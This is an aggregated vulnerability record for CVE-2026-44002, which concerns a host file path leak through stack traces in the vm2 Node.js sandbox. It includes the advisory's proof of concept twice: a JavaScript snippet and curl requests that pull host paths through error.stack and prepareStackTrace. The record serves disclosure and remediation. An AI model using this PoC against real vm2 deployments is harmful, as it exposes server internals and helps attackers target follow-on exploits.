{"id":"CVE-2026-44002","aliases":["CLSA-2026-1787860907","EUVD-2026-30072","GHSA-2cm2-m3w5-gp2f","GHSA-m5w8-4gq2-6f8x","GHSA-q3fm-4wcw-g57x","GHSA-v27g-jcqj-v8rw","GHSA-v836-6xw4-9cx3","ROOT-APP-NPM-CVE-2026-44002"],"status":"published","title":"vm2: Host File Path Disclosure via Stack Trace Information Leak","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","severity":{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna","from":"cve"},"epss":{"day":"2026-11-11","score":0.00241,"percentile":0.15328,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-209"],"published":"2026-05-07T04:30:10Z","modified":"2026-10-28T02:30:50Z","fixes":[{"ecosystem":"npm","package":"vm2","fixed_in":["3.11.0"],"sources":["ghsa","osv"]},{"ecosystem":"Root:npm","package":"vm2","fixed_in":["3.9.17-aikido.11","3.9.17-aikido.12","3.10.5-aikido.6","3.9.17-aikido.13","3.9.17-aikido.9","3.9.17-aikido.10","3.10.5-aikido.7","3.10.5-aikido.8"],"sources":["osv"]},{"ecosystem":"Root:npm","package":"@rootio/vm2","fixed_in":["3.10.5-root.io.5","3.9.17-root.io.11","3.9.17-root.io.12","3.10.5-root.io.6","3.9.17-root.io.13","3.9.17-root.io.9","3.9.17-root.io.10","3.10.5-root.io.7","3.10.5-root.io.8"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"3.10.5"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"3.10.0-tuxcare.0"},{"fixed":"3.10.0-tuxcare.1"}]}],"versions":["3.10.0"],"bundled":30},{"source":"osv","ecosystem":"npm","package":"vm2","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"fixed":"3.11.0"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.9.17-aikido.11"},{"fixed":"3.9.17-aikido.12"},{"fixed":"3.10.5-aikido.6"},{"fixed":"3.9.17-aikido.13"},{"fixed":"3.9.17-aikido.9"},{"fixed":"3.9.17-aikido.10"},{"fixed":"3.10.5-aikido.7"},{"fixed":"3.10.5-aikido.8"}]}]},{"source":"osv","ecosystem":"Root:npm","package":"@rootio/vm2","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"3.10.5-root.io.5"},{"fixed":"3.9.17-root.io.11"},{"fixed":"3.9.17-root.io.12"},{"fixed":"3.10.5-root.io.6"},{"fixed":"3.9.17-root.io.13"},{"fixed":"3.9.17-root.io.9"},{"fixed":"3.9.17-root.io.10"},{"fixed":"3.10.5-root.io.7"},{"fixed":"3.10.5-root.io.8"}]}]}],"products":[{"vendor":"patriksimek","product":"vm2"},{"vendor":"vm2_project","product":"vm2"}],"references":[{"url":"https://github.com/patriksimek/vm2/security/advisories/GHSA-v27g-jcqj-v8rw","tags":["x_refsource_CONFIRM","Exploit","Vendor Advisory","advisory","web"]},{"url":"https://github.com/patriksimek/vm2/releases/tag/v3.11.0","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2026-44002","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-v27g-jcqj-v8rw"},{"url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/44xxx/CVE-2026-44002.json","tags":["advisory"]},{"url":"https://github.com/patriksimek/vm2","tags":["package"]}],"sources":{"cve":[{"id":"CVE-2026-44002","title":"vm2: Host File Path Disclosure via Stack Trace Information Leak","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:29:42.416Z","modified":"2026-05-14T18:23:31.281Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"cna"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T13:42:49.132798Z"}],"euvd":[{"id":"EUVD-2026-30072","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:29:42Z","modified":"2026-05-14T18:23:31Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T19:04:31.113278Z"}],"ghsa":[{"id":"GHSA-v27g-jcqj-v8rw","title":"vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak","description":"### Summary\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A — Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B — prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.","status":"published","published":"2026-05-07T04:30:10Z","modified":"2026-05-14T20:36:54Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:40:09.033429Z"}],"nvd":[{"id":"CVE-2026-44002","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T18:16:16.857Z","modified":"2026-10-26T17:10:03.27Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium","assessor":"secondary"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T14:12:19.020465Z"}],"osv":[{"id":"CVE-2026-44002","title":"vm2: Host File Path Disclosure via Stack Trace Information Leak","description":"vm2 is an open source vm/sandbox for Node.js. Prior to 3.11.0, vm2's CallSite wrapper class (intended as a safe wrapper for V8's native CallSite) blocks getThis() and getFunction() to prevent host object leakage, but allows getFileName() to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server. This vulnerability is fixed in 3.11.0.","status":"published","published":"2026-05-13T17:29:42.416Z","modified":"2026-10-28T02:30:50.530722887Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T15:45:04.820169Z"},{"id":"GHSA-v27g-jcqj-v8rw","title":"vm2 is Vulnerable to Host File Path Disclosure via Stack Trace Information Leak","description":"### Summary\nvm2's `CallSite` wrapper class (intended as a safe wrapper for V8's native CallSite) blocks `getThis()` and `getFunction()` to prevent host object leakage, but allows `getFileName()` to return unsanitized host absolute paths. Any sandboxed code can extract the full directory structure, library paths, and framework versions of the host server.\n\n### Details\nIn `lib/setup-sandbox.js:436-466`, the `CallSite` class overrides `getThis()` and `getFunction()` with `undefined` to prevent host object references from leaking into the sandbox. However, the following methods pass through unsanitized values from the original V8 CallSite object:\n\n- `getFileName()` — returns host absolute paths like `/app/node_modules/vm2/lib/vm.js`\n- `getLineNumber()`, `getColumnNumber()` — exact source locations\n- `getFunctionName()`, `getMethodName()`, `getTypeName()` — internal function names\n\nTwo exploitation paths exist:\n1. **Default `error.stack`**: `new Error().stack` includes host frame paths in the formatted string\n2. **Custom `prepareStackTrace`**: Attacker can set `Error.prepareStackTrace` to directly call `getFileName()` on each CallSite, extracting a clean list of all host paths\n\n### PoC\n\n**Library-level PoC (Node.js script — primary):**\n```javascript\nconst { VM } = require(\"vm2\");\nconst vm = new VM();\n\n// Path A — Default error.stack\nconst result1 = vm.run(`try { null.x; } catch(e) { e.stack }`);\nconsole.log(result1);\n// Output includes: /app/node_modules/vm2/lib/vm.js:289:18\n//                   /app/src/server.js:49:20\n\n// Path B — prepareStackTrace extraction\nconst result2 = vm.run(`\n  Error.prepareStackTrace = function(e, sst) {\n    return sst.map(function(s) { return s.getFileName(); }).join(\", \");\n  };\n  new Error().stack\n`);\nconsole.log(result2);\n// Output: vm.js, node:vm, /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, ...\n```\n\n**HTTP demonstration:**\n```bash\n# Default error.stack\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"try { null.x; } catch(e) { e.stack }\"}'\n# Result includes host paths: /app/src/server.js, /app/node_modules/express/...\n\n# prepareStackTrace extraction\ncurl -s -X POST http://localhost:3000/api/execute \\\n  -H \"Content-Type: application/json\" \\\n  -d '{\"code\":\"Error.prepareStackTrace = function(e, sst) { return sst.map(function(s) { return s.getFileName(); }).join(\\\", \\\"); }; new Error().stack\"}'\n# Result: /app/node_modules/vm2/lib/vm.js, /app/src/sandbox.js, /app/src/server.js, ...\n```\n\n### Impact\n- **Information Disclosure**: Host directory structure, library paths, framework versions, and internal architecture are exposed to sandboxed code.\n- **Attack Chain**: Leaked paths enable precise targeting for other vulnerabilities.\n- **Scope**: All applications using vm2. No special configuration required.","status":"published","published":"2026-05-07T04:30:10Z","modified":"2026-05-14T20:52:41.874182Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"cwes":["CWE-209"],"updated_at":"2026-11-02T15:46:56.639206Z"},{"id":"ROOT-APP-NPM-CVE-2026-44002","title":"CVE-2026-44002 in vm2 - Patched by Root","description":"Root has patched CVE-2026-44002 in the vm2 package for Root:npm. Multiple fixed versions available.","status":"published","published":"2026-10-08T07:17:45Z","modified":"2026-10-08T08:15:24.83541905Z","cvss":[{"version":"3.1","score":5.8,"vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:N/A:N","level":"medium"}],"updated_at":"2026-11-02T15:53:27.649662Z"},{"id":"CLSA-2026-1787860907","title":"TuxCare security update for vm2 (34 CVEs)","description":"TuxCare rebuilt vm2 to address 34 CVEs. Fixed in 3.10.0-tuxcare.1.","status":"published","published":"2026-08-27T20:01:47Z","modified":"2026-10-15T09:48:03.095721636Z","updated_at":"2026-11-02T15:43:47.591214Z"}]}}